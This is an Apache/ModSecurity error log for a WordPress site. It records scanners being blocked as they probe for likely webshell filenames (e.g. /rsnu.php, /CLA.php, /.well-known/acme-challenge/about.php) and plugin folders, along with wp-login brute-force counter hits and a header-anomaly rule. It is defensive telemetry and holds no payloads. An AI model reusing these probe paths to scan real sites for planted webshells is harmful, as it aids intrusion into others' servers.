[Wed Nov 19 06:12:07.083012 2025] [:error] [pid 6919:tid 6923] [client 48.210.231.218:35826] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gfile1.php"] [unique_id "aRzvN0YFdN1s_9xJVUl_ugAAAQE"]
[Wed Nov 19 06:12:08.750205 2025] [:error] [pid 6555:tid 6611] [client 48.210.231.218:35764] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ffile.php"] [unique_id "aRzvOEbVJm8eMsGMTCNw_QAAAFQ"]
[Wed Nov 19 06:12:12.455911 2025] [:error] [pid 6554:tid 6562] [client 48.210.231.218:35683] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ffile.php"] [unique_id "aRzvPN8rvPWLafJFqmU7mQAAAAM"]
[Wed Nov 19 06:12:13.520777 2025] [:error] [pid 6919:tid 6927] [client 48.210.231.218:35651] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ffile.php"] [unique_id "aRzvPUYFdN1s_9xJVUl_zQAAAQU"]
[Wed Nov 19 06:12:15.238496 2025] [:error] [pid 6919:tid 6937] [client 48.210.231.218:35660] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ffile.php"] [unique_id "aRzvP0YFdN1s_9xJVUl_0AAAAQ8"]
[Wed Nov 19 06:12:16.293829 2025] [:error] [pid 6556:tid 6638] [client 48.210.231.218:35774] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rsnu.php"] [unique_id "aRzvQJuL7hhgrmdM1mtdBwAAAJQ"]
[Wed Nov 19 06:12:18.151566 2025] [:error] [pid 6919:tid 6937] [client 48.210.231.218:35839] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rsnu.php"] [unique_id "aRzvQkYFdN1s_9xJVUl_2gAAAQ8"]
[Wed Nov 19 06:12:19.626567 2025] [:error] [pid 6919:tid 6940] [client 48.210.231.218:35794] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rsnu.php"] [unique_id "aRzvQ0YFdN1s_9xJVUl_4QAAARI"]
[Wed Nov 19 06:12:20.342012 2025] [:error] [pid 6644:tid 6654] [client 48.210.231.218:35789] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rsnu.php"] [unique_id "aRzvRE0i6Rf788MB6sa38wAAAMg"]
[Wed Nov 19 06:12:20.662966 2025] [:error] [pid 6554:tid 6567] [client 48.210.231.218:35735] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/about.php"] [unique_id "aRzvRN8rvPWLafJFqmU7oQAAAAg"]
[Wed Nov 19 06:12:22.214329 2025] [:error] [pid 6919:tid 6945] [client 48.210.231.218:35836] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/about.php"] [unique_id "aRzvRkYFdN1s_9xJVUl_6QAAARc"]
[Wed Nov 19 06:12:22.880467 2025] [:error] [pid 6555:tid 6604] [client 48.210.231.218:35751] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/about.php"] [unique_id "aRzvRkbVJm8eMsGMTCNxDAAAAE0"]
[Wed Nov 19 06:12:23.634047 2025] [:error] [pid 6555:tid 6596] [client 48.210.231.218:35656] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/about.php"] [unique_id "aRzvR0bVJm8eMsGMTCNxDQAAAEU"]
[Wed Nov 19 06:12:24.539864 2025] [:error] [pid 6555:tid 6606] [client 48.210.231.218:35777] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/CLA.php"] [unique_id "aRzvSEbVJm8eMsGMTCNxDgAAAE8"]
[Wed Nov 19 06:12:25.414746 2025] [:error] [pid 6644:tid 6660] [client 48.210.231.218:35753] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/CLA.php"] [unique_id "aRzvSU0i6Rf788MB6sa3-QAAAM4"]
[Wed Nov 19 06:12:26.299452 2025] [:error] [pid 6555:tid 6591] [client 48.210.231.218:35695] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/CLA.php"] [unique_id "aRzvSkbVJm8eMsGMTCNxEQAAAEA"]
[Wed Nov 19 06:12:27.405971 2025] [:error] [pid 6556:tid 6628] [client 48.210.231.218:35737] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/CLA.php"] [unique_id "aRzvS5uL7hhgrmdM1mtdGwAAAIo"]
[Wed Nov 19 06:12:28.263930 2025] [:error] [pid 6556:tid 6623] [client 48.210.231.218:35746] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/default.php"] [unique_id "aRzvTJuL7hhgrmdM1mtdHQAAAIU"]
[Wed Nov 19 06:12:31.008995 2025] [:error] [pid 6556:tid 6634] [client 48.210.231.218:35661] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/default.php"] [unique_id "aRzvT5uL7hhgrmdM1mtdJQAAAJA"]
[Wed Nov 19 06:12:31.652213 2025] [:error] [pid 6555:tid 6613] [client 48.210.231.218:35769] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/default.php"] [unique_id "aRzvT0bVJm8eMsGMTCNxFwAAAFY"]
[Wed Nov 19 06:12:32.383570 2025] [:error] [pid 6644:tid 6658] [client 48.210.231.218:35728] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/default.php"] [unique_id "aRzvUE0i6Rf788MB6sa4AQAAAMw"]
[Wed Nov 19 06:12:33.161635 2025] [:error] [pid 6556:tid 6637] [client 48.210.231.218:35757] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dfre.php"] [unique_id "aRzvUZuL7hhgrmdM1mtdKwAAAJM"]
[Wed Nov 19 06:12:34.569138 2025] [:error] [pid 6554:tid 6578] [client 48.210.231.218:35804] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dfre.php"] [unique_id "aRzvUt8rvPWLafJFqmU7sQAAABI"]
[Wed Nov 19 06:12:37.691800 2025] [:error] [pid 6919:tid 6925] [client 48.210.231.218:35757] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dfre.php"] [unique_id "aRzvVUYFdN1s_9xJVUmAEgAAAQM"]
[Wed Nov 19 06:12:38.108781 2025] [:error] [pid 6556:tid 6619] [client 48.210.231.218:35675] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dfre.php"] [unique_id "aRzvVpuL7hhgrmdM1mtdOwAAAIE"]
[Wed Nov 19 06:12:39.018527 2025] [:error] [pid 6644:tid 6648] [client 48.210.231.218:35747] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp.php"] [unique_id "aRzvV00i6Rf788MB6sa4EwAAAMI"]
[Wed Nov 19 06:12:39.893912 2025] [:error] [pid 6555:tid 6604] [client 48.210.231.218:35650] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp.php"] [unique_id "aRzvV0bVJm8eMsGMTCNxIAAAAE0"]
[Wed Nov 19 06:12:40.624596 2025] [:error] [pid 6556:tid 6640] [client 48.210.231.218:35726] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp.php"] [unique_id "aRzvWJuL7hhgrmdM1mtdPwAAAJY"]
[Wed Nov 19 06:12:41.336335 2025] [:error] [pid 6556:tid 6624] [client 48.210.231.218:35676] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp.php"] [unique_id "aRzvWZuL7hhgrmdM1mtdQQAAAIY"]
[Wed Nov 19 06:12:41.805368 2025] [:error] [pid 6555:tid 6613] [client 48.210.231.218:35810] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/13.php"] [unique_id "aRzvWUbVJm8eMsGMTCNxIwAAAFY"]
[Wed Nov 19 06:12:42.506941 2025] [:error] [pid 6554:tid 6573] [client 48.210.231.218:35780] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/13.php"] [unique_id "aRzvWt8rvPWLafJFqmU7ygAAAA0"]
[Wed Nov 19 06:12:44.556699 2025] [:error] [pid 6554:tid 6575] [client 48.210.231.218:35664] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/13.php"] [unique_id "aRzvXN8rvPWLafJFqmU71wAAAA8"]
[Wed Nov 19 06:12:46.702654 2025] [:error] [pid 6919:tid 6940] [client 48.210.231.218:35801] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/13.php"] [unique_id "aRzvXkYFdN1s_9xJVUmALAAAARI"]
[Wed Nov 19 06:12:49.344262 2025] [:error] [pid 6644:tid 6659] [client 48.210.231.218:35603] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/usep.php"] [unique_id "aRzvYU0i6Rf788MB6sa4JgAAAM0"]
[Wed Nov 19 06:12:51.908297 2025] [:error] [pid 6555:tid 6597] [client 48.210.231.218:35723] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/usep.php"] [unique_id "aRzvY0bVJm8eMsGMTCNxMgAAAEY"]
[Wed Nov 19 06:12:53.231943 2025] [:error] [pid 6556:tid 6633] [client 48.210.231.218:35707] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/usep.php"] [unique_id "aRzvZZuL7hhgrmdM1mtdWQAAAI8"]
[Wed Nov 19 06:12:55.660738 2025] [:error] [pid 6554:tid 6583] [client 48.210.231.218:35598] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/usep.php"] [unique_id "aRzvZ98rvPWLafJFqmU78gAAABc"]
[Wed Nov 19 06:12:56.342515 2025] [:error] [pid 6556:tid 6622] [client 48.210.231.218:35809] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/3.php"] [unique_id "aRzvaJuL7hhgrmdM1mtdYwAAAIQ"]
[Wed Nov 19 06:12:57.942724 2025] [:error] [pid 6555:tid 6611] [client 48.210.231.218:35797] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/3.php"] [unique_id "aRzvaUbVJm8eMsGMTCNxPwAAAFQ"]
[Wed Nov 19 07:30:37.804449 2025] [:error] [pid 6556:tid 6624] [client 18.191.165.250:56220] [client 18.191.165.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aR0BnZuL7hhgrmdM1mt7AgAAAIY"]
[Wed Nov 19 07:30:38.590950 2025] [:error] [pid 6554:tid 6565] [client 18.191.165.250:56390] [client 18.191.165.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aR0Bnt8rvPWLafJFqmVWzwAAAAY"]
[Wed Nov 19 07:30:39.374732 2025] [:error] [pid 6644:tid 6666] [client 18.191.165.250:56603] [client 18.191.165.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aR0Bn00i6Rf788MB6sbZ1wAAANQ"]
[Wed Nov 19 07:30:40.165924 2025] [:error] [pid 6555:tid 6595] [client 18.191.165.250:56808] [client 18.191.165.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aR0BoEbVJm8eMsGMTCON4AAAAEQ"]
[Wed Nov 19 07:30:40.959620 2025] [:error] [pid 6644:tid 6666] [client 18.191.165.250:57028] [client 18.191.165.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aR0BoE0i6Rf788MB6sbZ7QAAANQ"]
[Wed Nov 19 07:45:42.808461 2025] [:error] [pid 26664:tid 26689] [client 222.79.103.59:35735] [client 222.79.103.59] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aR0FJopWc1yoj2P7MeAYmgAAAVU"]
[Wed Nov 19 10:00:15.935207 2025] [:error] [pid 6644:tid 6661] [client 62.214.228.24:59494] [client 62.214.228.24] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.214.228.24, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR0kr00i6Rf788MB6sYHIwAAAM8"], referer: https://gigfragments.org
[Wed Nov 19 10:22:31.120718 2025] [proxy_fcgi:error] [pid 6554:tid 6580] (70007)The timeout specified has expired: [client 51.81.107.180:59132] AH01075: Error dispatching request to : (polling)
[Wed Nov 19 11:07:25.322027 2025] [autoindex:error] [pid 26664:tid 26675] [client 91.84.118.126:49930] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Nov 19 11:07:27.652532 2025] [autoindex:error] [pid 26664:tid 26689] [client 91.84.118.126:49930] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2025/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Nov 19 11:07:27.932944 2025] [autoindex:error] [pid 26664:tid 26678] [client 91.84.118.126:49930] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2024/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Nov 19 11:07:28.202634 2025] [autoindex:error] [pid 26664:tid 26683] [client 91.84.118.126:49930] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2023/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Nov 19 11:07:48.647022 2025] [:error] [pid 26664:tid 26689] [client 91.84.118.126:49930] [client 91.84.118.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/elementor/"] [unique_id "aR00hIpWc1yoj2P7MeB3uQAAAVU"]
[Wed Nov 19 11:07:49.683965 2025] [:error] [pid 6644:tid 6646] [client 91.84.118.126:52610] [client 91.84.118.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wpforms-lite/"] [unique_id "aR00hU0i6Rf788MB6sYgFwAAAMA"]
[Wed Nov 19 11:07:50.807976 2025] [:error] [pid 6554:tid 6566] [client 91.84.118.126:53462] [client 91.84.118.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/updraftplus/"] [unique_id "aR00ht8rvPWLafJFqmWTWwAAAAc"]
[Wed Nov 19 11:07:51.982423 2025] [:error] [pid 6919:tid 6929] [client 91.84.118.126:54430] [client 91.84.118.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wordfence/"] [unique_id "aR00h0YFdN1s_9xJVUn9AgAAAQc"]
[Wed Nov 19 11:07:53.123372 2025] [:error] [pid 6554:tid 6560] [client 91.84.118.126:55300] [client 91.84.118.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/"] [unique_id "aR00id8rvPWLafJFqmWTXQAAAAE"]
[Wed Nov 19 12:12:24.291996 2025] [:error] [pid 6554:tid 6571] [client 8.133.253.244:48764] [client 8.133.253.244] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 8.133.253.244, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR1DqN8rvPWLafJFqmWlfgAAAAs"], referer: https://gigfragments.org
